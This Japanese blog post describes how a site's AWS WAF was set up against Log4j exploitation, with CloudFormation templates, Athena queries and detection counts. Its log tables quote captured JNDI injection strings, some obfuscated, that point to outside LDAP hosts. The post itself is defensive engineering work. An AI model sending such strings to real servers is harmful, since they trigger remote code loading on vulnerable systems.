Log4j 脆弱性攻撃の遮断を開始した当ブログサイトのAWS WAF設定を紹介します
AWSチームのすずきです。
AWSブログで紹介されている、Log4j 脆弱性対策として紹介されているマネージドルール「Log4JRCE」「AnonymouousIPList」「sizeRestrictions_BODY」を利用して、 当ブログサイト(DevelopersIO)の保護を行う機会がありました。
この過程で行ったマネージドルールの評価と、誤検知による副作用を回避する設定について紹介させて頂きます。
評価環境設定
先に紹介した「Log4JRCE」を含む AWSManagedRulesknownBadInputsRuleSet に加え、AWSManagedRulesCommonRuleSet、AWSManagedRulesAnonymousIpList を追加した環境を用意しました。
Log4j 脆弱性に対する AWS セキュリティサービスを利用した保護、検知、対応
AWSManagedRulesknownBadInputsRuleSet 特に、Log4j の脆弱性の存在についてリクエストを検査するのに役立つ Log4JRCE ルールを設定します。パターンの例としては、${jndi:ldap://example.com/} などがあります。
AWSManagedRulesAnonymousIpList 特に、AnonymouousIPList は、クライアント情報を匿名化することで知られるアクセス元の IP アドレスを検査するのに役立つ ルールです。
AWSManagedRulesCommonRuleSet 特に、 sizeRestrictions_BODY ルールは、リクエスト本文のサイズが最大 8 KB (8,192 バイト) であることを検証します。
全てのルールで OverrideAction は Count: {}
。
検出(カウント)のみに利用する設定としました。
WebACL
Rules: - Name: AWS-AWSManagedRulesKnownBadInputsRuleSet Priority: 10 Statement: ManagedRuleGroupStatement: VendorName: AWS Name: AWSManagedRulesKnownBadInputsRuleSet OverrideAction: Count: {} VisibilityConfig: CloudWatchMetricsEnabled: true MetricName: !Sub '${AWS::StackName}-AWSManagedRulesKnownBadInputsRuleSet' SampledRequestsEnabled: true - Name: AWS-AWSManagedRulesCommonRuleSet Priority: 11 Statement: ManagedRuleGroupStatement: VendorName: AWS Name: AWSManagedRulesCommonRuleSet OverrideAction: Count: {} VisibilityConfig: CloudWatchMetricsEnabled: true MetricName: !Sub '${AWS::StackName}-AWSManagedRulesCommonRuleSet' SampledRequestsEnabled: true - Name: AWS-AWSManagedRulesAnonymousIpList Priority: 12 Statement: ManagedRuleGroupStatement: VendorName: AWS Name: AWSManagedRulesAnonymousIpList OverrideAction: Count: {} VisibilityConfig: CloudWatchMetricsEnabled: true MetricName: !Sub '${AWS::StackName}-AWSManagedRulesAnonymousIpList' SampledRequestsEnabled: true
LoggingConfiguration
AWS WAF ログのフィルター設定を変更。 ブロックに加え、カウントのログも記録する設定としました。
LoggingFilter: DefaultBehavior: DROP Filters: - Behavior: KEEP Conditions: - ActionCondition: Action: BLOCK Requirement: MEETS_ALL - Behavior: KEEP Conditions: - ActionCondition: Action: COUNT Requirement: MEETS_ANY
ルール別検出結果
4日間のAWS WAFのログ解析をAthenaを利用して行いました。
テーブル設定
CREATE EXTERNAL TABLE `waf_logs`( `timestamp` bigint COMMENT 'from deserializer', `formatversion` int COMMENT 'from deserializer', `webaclid` string COMMENT 'from deserializer', `terminatingruleid` string COMMENT 'from deserializer', `terminatingruletype` string COMMENT 'from deserializer', `action` string COMMENT 'from deserializer', `terminatingrulematchdetails` array < struct < conditiontype :string, location :string, matcheddata :array < string > > > COMMENT 'from deserializer', `httpsourcename` string COMMENT 'from deserializer', `httpsourceid` string COMMENT 'from deserializer', `rulegrouplist` array < struct < rulegroupid :string, terminatingrule :struct < ruleid :string, action :string, rulematchdetails :string >, nonterminatingmatchingrules :array < struct < ruleid :string, action :string, rulematchdetails :array < struct < conditiontype :string, location :string, matcheddata :array < string > > > > >, excludedrules :array < struct < ruleid :string, exclusiontype :string > > > > COMMENT 'from deserializer', `ratebasedrulelist` array < struct < ratebasedruleid :string, limitkey :string, maxrateallowed :int > > COMMENT 'from deserializer', `nonterminatingmatchingrules` array < struct < ruleid :string, action :string > > COMMENT 'from deserializer', `requestheadersinserted` string COMMENT 'from deserializer', `responsecodesent` string COMMENT 'from deserializer', `httprequest` struct < clientip :string, country :string, headers :array < struct < name :string, value :string > >, uri :string, args :string, httpversion :string, httpmethod :string, requestid :string > COMMENT 'from deserializer', `labels` array < struct < name :string > > COMMENT 'from deserializer' ) PARTITIONED BY ( `day` string ) ROW FORMAT SERDE 'org.openx.data.jsonserde.JsonSerDe' STORED AS INPUTFORMAT 'org.apache.hadoop.mapred.TextInputFormat' OUTPUTFORMAT 'org.apache.hadoop.hive.ql.io.HiveIgnoreKeyTextOutputFormat' LOCATION 's3://<S3BUCKET_NAME>/AWSLogs/<ACCOUNT_ID>/WAFLogs/<REGION>/###-webacl' TBLPROPERTIES( 'projection.day.format' = 'yyyy/MM/dd', 'projection.day.interval' = '1', 'projection.day.interval.unit' = 'DAYS', 'projection.day.range' = '2021/01/01,NOW', 'projection.day.type' = 'date', 'projection.enabled' = 'true', 'storage.location.template' = 's3://<S3BUCKET_NAME>/AWSLogs/<ACCOUNT_ID>/WAFLogs/<REGION>/###-webacl/${day}' )
Log4JRCE
期間中の誤検知はなく ブロックに利用する事としました。
- URL、ユーザエージェント別集計
detections | country | url | UserAgent |
---|---|---|---|
20 | CN | / | curl/7.58.0 |
4 | US | / | Mozilla/5.0 (platform; rv:geckoversion) Gecko/geck |
4 | US | / | ${j${k8s:k5:-ND}i${sd:k5:-:}ldap://#.#.132.224 |
4 | US | / | curl/7.58.0 |
3 | - | / | Mozilla/5.0 (Macintosh; Intel Mac OS X 10_14_5) Ap |
3 | DE | / | Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWeb |
2 | US | / | t(${${env:NaN:-j}ndi${env:NaN:-:}${env:NaN:-l}dap |
2 | US | /${jndi:ldap | Mozilla/5.0 (platform; rv:geckoversion) Gecko/geck |
1 | CN | / | ${jndi:ldap://#.#.118.127:1389/Exploit} |
1 | IN | / | ${jndi:ldap://${hostName}.useragent.c70lkfc1nvnl0h |
1 | US | /login | Mozilla/5.0 (platform; rv:geckoversion) Gecko/geck |
1 | US | / | ${jndi:ldap://#.#.118.127:1389/Exploit} |
1 | SG | / | Mozilla/5.0 AppleWebKit/537.73 (KHTML, like Gecko) |
1 | RU | / | Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWeb |
- 抽出SQL
SELECT COUNT(1) as detections, httprequest.country, SUBSTRING(httprequest.uri, 1, 12) AS url_12, SUBSTRING(unnest_headers.VALUE, 1, 50) AS UserAgent_50 FROM waf_logs CROSS JOIN UNNEST(labels) AS s(unnest_labels) CROSS JOIN UNNEST(httprequest.headers) AS s(unnest_headers) WHERE day BETWEEN '2021/12/19' AND '2021/12/22' AND unnest_labels.name = 'awswaf:managed:aws:known-bad-inputs:Log4JRCE' AND LOWER(unnest_headers.name) = 'user-agent' GROUP BY httprequest.country, SUBSTRING(httprequest.uri, 1, 12), SUBSTRING(unnest_headers.VALUE, 1, 50) ORDER BY COUNT(1) DESC
SizeRestrictions_Body
AWS WAF、リクエストボディを最初の8 KB(8,192 バイト)のみ検査する仕様。 WAF検査を回避した攻撃を検知できる可能性がありますが、正規CMS操作、長文記事が保存された時のリクエストが検出されていました。
Core rule set (CRS) managed rule group
Verifies that the request body size is at most 8 KB (8,192 bytes).
正規のCMS操作を除外するルールを追加した上で、ブロックに利用する事としました。
- URL、ユーザエージェント別集計
detections | country | url | UserAgent |
---|---|---|---|
135 | JP | /wp-admin/ad | Mozilla/5.0 (Macintosh; Intel Mac OS X 10_15_7) Ap |
117 | JP | /wp-admin/po | Mozilla/5.0 (Macintosh; Intel Mac OS X 10_15_7) Ap |
63 | JP | /wp-admin/ad | Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWeb |
38 | TH | /wp-admin/po | Mozilla/5.0 (Macintosh; Intel Mac OS X 10_15_7) Ap |
36 | JP | /wp-admin/po | Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWeb |
28 | JP | /wp-admin/as | Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWeb |
25 | TH | /wp-admin/ad | Mozilla/5.0 (Macintosh; Intel Mac OS X 10_15_7) Ap |
19 | JP | /wp-admin/as | Mozilla/5.0 (Macintosh; Intel Mac OS X 10_15_7) Ap |
3 | DE | /wp-admin/po | Mozilla/5.0 (Macintosh; Intel Mac OS X 10_15_7) Ap |
2 | DE | /wp-admin/ad | Mozilla/5.0 (Macintosh; Intel Mac OS X 10_15_7) Ap |
1 | KR | /wp-admin/ad | Mozilla/5.0 (Macintosh; Intel Mac OS X 10_15_7) Ap |
SELECT COUNT(1) as detections, httprequest.country, SUBSTRING(httprequest.uri,1,12) as url, SUBSTRING(unnest_headers.VALUE, 1, 50) AS UA FROM waf_logs CROSS JOIN UNNEST(labels) AS s(unnest_labels) CROSS JOIN UNNEST(httprequest.headers) AS s(unnest_headers) WHERE day BETWEEN '2021/12/19' AND '2021/12/22' AND unnest_labels.name = 'awswaf:managed:aws:core-rule-set:SizeRestrictions_Body' AND LOWER(unnest_headers.name) = 'user-agent' GROUP BY httprequest.country, SUBSTRING(httprequest.uri,1,12), SUBSTRING(unnest_headers.VALUE, 1, 50) ORDER BY COUNT(1) DESC
AnonymousIPList
AnonymousIPList は、悪意のある攻撃の際に利用されやすい「匿名プロキシ(Anonymous Proxy)」、「Tor ノード(IP 発信元の匿名化)」、「VPN」、「ホスティングプロバイダー」が定義されたルールです。
正規のクローラーと推測されるリクエストが検出されていた事から、正規ページ、実害のないパスについては除外するルールを追加する事としました。
detections | country | url | UserAgent |
---|---|---|---|
48 | - | /feed/ | Selfoss/2.18 (SimplePie/1.5.1; +https://selfoss.ad |
6 | - | / | Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWeb |
5 | US | /robots.txt | Mozilla/5.0 (compatible; Yahoo! Slurp; http://help |
4 | US | /server-side | Mozilla/5.0 (compatible; Yahoo! Slurp; http://help |
4 | - | /favicon.ico | Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWeb |
3 | - | / | Mozilla/5.0 (Macintosh; Intel Mac OS X 10_14_5) Ap |
3 | US | /smartphone/ | Mozilla/5.0 (compatible; Yahoo! Slurp; http://help |
3 | DE | /feed/ | Selfoss/2.18 (SimplePie/1.5.1; +https://selfoss.ad |
2 | - | /favicon.ico | Mozilla/5.0 (Windows NT 6.1; rv:45.0) Gecko/201001 |
2 | - | /vendor/phpu | Mozilla/5.0 (X11; Ubuntu; 2040 ;Linux i686; rv:28. |
2 | - | /app/vendor/ | Mozilla/5.0 (X11; Ubuntu; 2405 ;Linux i686; rv:28. |
2 | US | /cloud/aws/a | Mozilla/5.0 (compatible; Yahoo! Slurp; http://help |
2 | US | /cloud/route | Mozilla/5.0 (compatible; Yahoo! Slurp; http://help |
2 | - | /articles/el | Mozilla/5.0 (Windows NT 6.1; rv:45.0) Gecko/201001 |
2 | - | /vendor/phpu | Mozilla/5.0 (X11; Ubuntu; 2505 ;Linux i686; rv:28. |
2 | - | /vendor/phpu | Mozilla/5.0 (X11; Ubuntu; 1568 ;Linux i686; rv:28. |
SELECT COUNT(1) as detections, httprequest.country, SUBSTRING(httprequest.uri, 1, 12) AS url_12, SUBSTRING(unnest_headers.VALUE, 1, 50) AS UserAgent_50 FROM waf_logs CROSS JOIN UNNEST(labels) AS s(unnest_labels) CROSS JOIN UNNEST(httprequest.headers) AS s(unnest_headers) WHERE day BETWEEN '2021/12/19' AND '2021/12/22' AND unnest_labels.name = 'awswaf:managed:aws:anonymous-ip-list:AnonymousIPList' AND LOWER(unnest_headers.name) = 'user-agent' GROUP BY httprequest.country, SUBSTRING(httprequest.uri, 1, 12), SUBSTRING(unnest_headers.VALUE, 1, 50) ORDER BY COUNT(1) DESC
ルール設定
誤判定による副作用を避けるため、例外設定の追加を行いました。
IPSet
信頼できるIPアドレスのホワイトリストを用意しました。
IPSetWhiteList: Type: AWS::WAFv2::IPSet Properties: Name: !Sub '${AWS::StackName}-IPSetWhiteList' Scope: REGIONAL IPAddressVersion: IPV4 Addresses: - 192.0.2.0/32 - 198.51.100.0/32 IPSetWhiteListV6: Type: AWS::WAFv2::IPSet Properties: Name: !Sub '${AWS::StackName}-IPSetWhiteListV6' Scope: REGIONAL IPAddressVersion: IPV6 Addresses: - 2001:db8::/32
Aloowルール
- ホワイトリストに登録された信頼できるIPアドレスを許可しました
- CMSの正規ログイン時に付与される特的のクッキー文字列が含まれるリクエストを許可しました。
- 他のルールより最優先で評価される
Priority
指定を行いました。
Rules: - Action: Allow: {} Name: !Sub '${AWS::StackName}-allow-rule' Priority: 1 VisibilityConfig: SampledRequestsEnabled: false CloudWatchMetricsEnabled: false MetricName: !Sub '${AWS::StackName}-allow-rule' Statement: OrStatement: Statements: - IPSetReferenceStatement: Arn: !GetAtt 'IPSetWhiteList.Arn' - IPSetReferenceStatement: Arn: !GetAtt 'IPSetWhiteListV6.Arn' - RegexMatchStatement: FieldToMatch: SingleHeader: Name: cookie RegexString: COOKIEKEY.*=.* TextTransformations: - Type: NONE Priority: 0
AWSManagedRulesAnonymousIpList
- 「AnonymousIPList」以外のルール、
ExcludedRules
指定で除外しました。 - 日本国内からのIPアドレスは、リスクは低いとして副作用回避を優先して除外しました。
- リクエストのURLが特定のURL、攻撃成立リスクの少ないパスは除外しました。
- Name: AWS-AWSManagedRulesAnonymousIpList Priority: 11 Statement: ManagedRuleGroupStatement: VendorName: AWS Name: AWSManagedRulesAnonymousIpList ExcludedRules: - Name: HostingProviderIPList ScopeDownStatement: AndStatement: Statements: - NotStatement: Statement: GeoMatchStatement: CountryCodes: - JP - NotStatement: Statement: ByteMatchStatement: FieldToMatch: UriPath: {} PositionalConstraint: CONTAINS SearchString: /feed TextTransformations: - Type: NONE Priority: 0 - NotStatement: Statement: RegexMatchStatement: FieldToMatch: UriPath: {} RegexString: ^/articles/.*/$ TextTransformations: - Type: NONE Priority: 0
AWSManagedRulesCommonRuleSet
- 「SizeRestrictions_Body」以外のルール、
ExcludedRules
指定で除外しました。
- Name: AWS-AWSManagedRulesCommonRuleSet Priority: 12 Statement: ManagedRuleGroupStatement: VendorName: AWS Name: AWSManagedRulesCommonRuleSet ExcludedRules: - Name: NoUserAgent_HEADER - Name: UserAgent_BadBots_HEADER - Name: SizeRestrictions_QUERYSTRING - Name: SizeRestrictions_Cookie_HEADER - Name: SizeRestrictions_URIPATH - Name: EC2MetaDataSSRF_BODY - Name: EC2MetaDataSSRF_COOKIE - Name: EC2MetaDataSSRF_URIPATH - Name: EC2MetaDataSSRF_QUERYARGUMENTS - Name: GenericLFI_QUERYARGUMENTS - Name: GenericLFI_URIPATH - Name: GenericLFI_BODY - Name: RestrictedExtensions_URIPATH - Name: RestrictedExtensions_QUERYARGUMENTS - Name: GenericRFI_QUERYARGUMENTS - Name: GenericRFI_BODY - Name: GenericRFI_URIPATH - Name: CrossSiteScripting_COOKIE - Name: CrossSiteScripting_QUERYARGUMENTS - Name: CrossSiteScripting_BODY - Name: CrossSiteScripting_URIPATH
ダッシュボード更新
「Log4JRCE」、「AWSManagedRulesAnonymousIpList」、「SizeRestrictions_Body」のブロック実績を表示するようにしました。
遮断ログの確認
ブロックが意図した状態である事を確認します。
誤判定によるブロック実績が確認された場合、除外ルールの追加などを行います。
- 当日、前日の遮断ログのリクエスト確認
SELECT date_format(from_unixtime(timestamp / 1000) AT TIME ZONE 'Asia/Tokyo', '%Y/%m/%dT%H:%i:%s') AS "JST", labels, httprequest.country, httprequest.clientip, httprequest.uri, httprequest.headers FROM waf_logs WHERE day BETWEEN date_format(current_timestamp + interval '-1' day, '%Y/%m/%d') AND date_format(current_timestamp, '%Y/%m/%d') AND ACTION = 'BLOCK' ORDER BY timestamp DESC
まとめ
AWS WAF のみで Log4j 脆弱性を狙う攻撃を完全に防ぐ事は困難ですが、 AWS が提供する複数のマネージドルールを利用する事で、リスクの軽減効果は期待出来ると思われます。
利用するワークロードによってはマネージドルールの誤判定が生じる可能性もありますので、 遮断運用を開始する前に、充分な評価を実施頂くことをおすすめします。
CloudFormationテンプレート全文
- 「COOKIEKEY」と、許可IPアドレス以外、当サイトの保護に利用中のWAF設定です
AWSTemplateFormatVersion: '2010-09-09' Description: AWS WAF to mitigate the Log4j2 vulnerability v20211223 Resources: IPSetWhiteList: Type: AWS::WAFv2::IPSet Properties: Name: !Sub '${AWS::StackName}-IPSetWhiteList' Scope: REGIONAL IPAddressVersion: IPV4 Addresses: - 13.231.11.115/32 - 13.231.60.144/32 IPSetWhiteListV6: Type: AWS::WAFv2::IPSet Properties: Name: !Sub '${AWS::StackName}-IPSetWhiteListV6' Scope: REGIONAL IPAddressVersion: IPV6 Addresses: - 2001:db8::/32 WebACL: Type: AWS::WAFv2::WebACL Properties: Name: !Sub '${AWS::StackName}-webacl' DefaultAction: Allow: {} Description: AWS WAF to mitigate the Log4j2 vulnerability v20211223 Scope: REGIONAL Tags: - Key: StackName Value: !Sub '${AWS::StackName}' VisibilityConfig: CloudWatchMetricsEnabled: true MetricName: !Sub '${AWS::StackName}' SampledRequestsEnabled: false Rules: - Action: Allow: {} Name: !Sub '${AWS::StackName}-allow-rule' Priority: 1 VisibilityConfig: SampledRequestsEnabled: false CloudWatchMetricsEnabled: false MetricName: !Sub '${AWS::StackName}-allow-rule' Statement: OrStatement: Statements: - IPSetReferenceStatement: Arn: !GetAtt 'IPSetWhiteList.Arn' - IPSetReferenceStatement: Arn: !GetAtt 'IPSetWhiteListV6.Arn' - RegexMatchStatement: FieldToMatch: SingleHeader: Name: cookie RegexString: COOKIEKEY.*=.* TextTransformations: - Type: NONE Priority: 0 - Name: AWS-AWSManagedRulesKnownBadInputsRuleSet Priority: 10 Statement: ManagedRuleGroupStatement: VendorName: AWS Name: AWSManagedRulesKnownBadInputsRuleSet ExcludedRules: - Name: Host_localhost_HEADER - Name: PROPFIND_METHOD - Name: ExploitablePaths_URIPATH OverrideAction: None: {} VisibilityConfig: CloudWatchMetricsEnabled: true MetricName: !Sub '${AWS::StackName}-AWSManagedRulesKnownBadInputsRuleSet' SampledRequestsEnabled: true - Name: AWS-AWSManagedRulesAnonymousIpList Priority: 11 Statement: ManagedRuleGroupStatement: VendorName: AWS Name: AWSManagedRulesAnonymousIpList ExcludedRules: - Name: HostingProviderIPList ScopeDownStatement: AndStatement: Statements: - NotStatement: Statement: GeoMatchStatement: CountryCodes: - JP - NotStatement: Statement: ByteMatchStatement: FieldToMatch: UriPath: {} PositionalConstraint: CONTAINS SearchString: /feed TextTransformations: - Type: NONE Priority: 0 - NotStatement: Statement: RegexMatchStatement: FieldToMatch: UriPath: {} RegexString: ^/articles/.*/$ TextTransformations: - Type: NONE Priority: 0 OverrideAction: None: {} VisibilityConfig: CloudWatchMetricsEnabled: true MetricName: !Sub '${AWS::StackName}-AWSManagedRulesAnonymousIpList' SampledRequestsEnabled: true - Name: AWS-AWSManagedRulesCommonRuleSet Priority: 12 Statement: ManagedRuleGroupStatement: VendorName: AWS Name: AWSManagedRulesCommonRuleSet ExcludedRules: - Name: NoUserAgent_HEADER - Name: UserAgent_BadBots_HEADER - Name: SizeRestrictions_QUERYSTRING - Name: SizeRestrictions_Cookie_HEADER - Name: SizeRestrictions_URIPATH - Name: EC2MetaDataSSRF_BODY - Name: EC2MetaDataSSRF_COOKIE - Name: EC2MetaDataSSRF_URIPATH - Name: EC2MetaDataSSRF_QUERYARGUMENTS - Name: GenericLFI_QUERYARGUMENTS - Name: GenericLFI_URIPATH - Name: GenericLFI_BODY - Name: RestrictedExtensions_URIPATH - Name: RestrictedExtensions_QUERYARGUMENTS - Name: GenericRFI_QUERYARGUMENTS - Name: GenericRFI_BODY - Name: GenericRFI_URIPATH - Name: CrossSiteScripting_COOKIE - Name: CrossSiteScripting_QUERYARGUMENTS - Name: CrossSiteScripting_BODY - Name: CrossSiteScripting_URIPATH OverrideAction: None: {} VisibilityConfig: CloudWatchMetricsEnabled: true MetricName: !Sub '${AWS::StackName}-AWSManagedRulesCommonRuleSet' SampledRequestsEnabled: true LoggingConfiguration: Type: AWS::WAFv2::LoggingConfiguration DependsOn: S3Bucket Properties: ResourceArn: !GetAtt 'WebACL.Arn' LogDestinationConfigs: - !GetAtt 'S3Bucket.Arn' LoggingFilter: DefaultBehavior: DROP Filters: - Behavior: KEEP Conditions: - ActionCondition: Action: BLOCK Requirement: MEETS_ALL - Behavior: KEEP Conditions: - ActionCondition: Action: COUNT Requirement: MEETS_ANY S3Bucket: Type: AWS::S3::Bucket Properties: BucketName: !Sub 'aws-waf-logs-${AWS::StackName}-${AWS::Region}-${AWS::AccountId}' BucketEncryption: ServerSideEncryptionConfiguration: - ServerSideEncryptionByDefault: SSEAlgorithm: AES256 LifecycleConfiguration: Rules: - Id: ExpirationInDays Status: Enabled ExpirationInDays: 45 - Id: NoncurrentVersionExpiration Status: Enabled NoncurrentVersionExpirationInDays: 7 - Id: ExpiredObjectDeleteMarker Status: Enabled ExpirationInDays: 7 - Id: AbortIncompleteMultipartUpload Status: Enabled AbortIncompleteMultipartUpload: DaysAfterInitiation: 3 PublicAccessBlockConfiguration: BlockPublicAcls: true BlockPublicPolicy: true IgnorePublicAcls: true RestrictPublicBuckets: true Tags: - Key: StackId Value: !Sub '${AWS::StackId}' VersioningConfiguration: Status: Enabled S3BucketPolicy: Type: AWS::S3::BucketPolicy Properties: Bucket: !Ref 'S3Bucket' PolicyDocument: Id: !Sub '${AWS::StackName}-BucketPolicy' Statement: - Sid: AWSLogDeliveryWrite Effect: Allow Principal: Service: delivery.logs.amazonaws.com Action: - s3:PutObject Resource: - !Sub 'arn:aws:s3:::${S3Bucket}/*' Condition: StringEquals: s3:x-amz-acl: bucket-owner-full-control - Sid: AWSLogDeliveryAclCheck Effect: Allow Principal: Service: delivery.logs.amazonaws.com Action: - s3:GetBucketAcl Resource: - !Sub 'arn:aws:s3:::${S3Bucket}'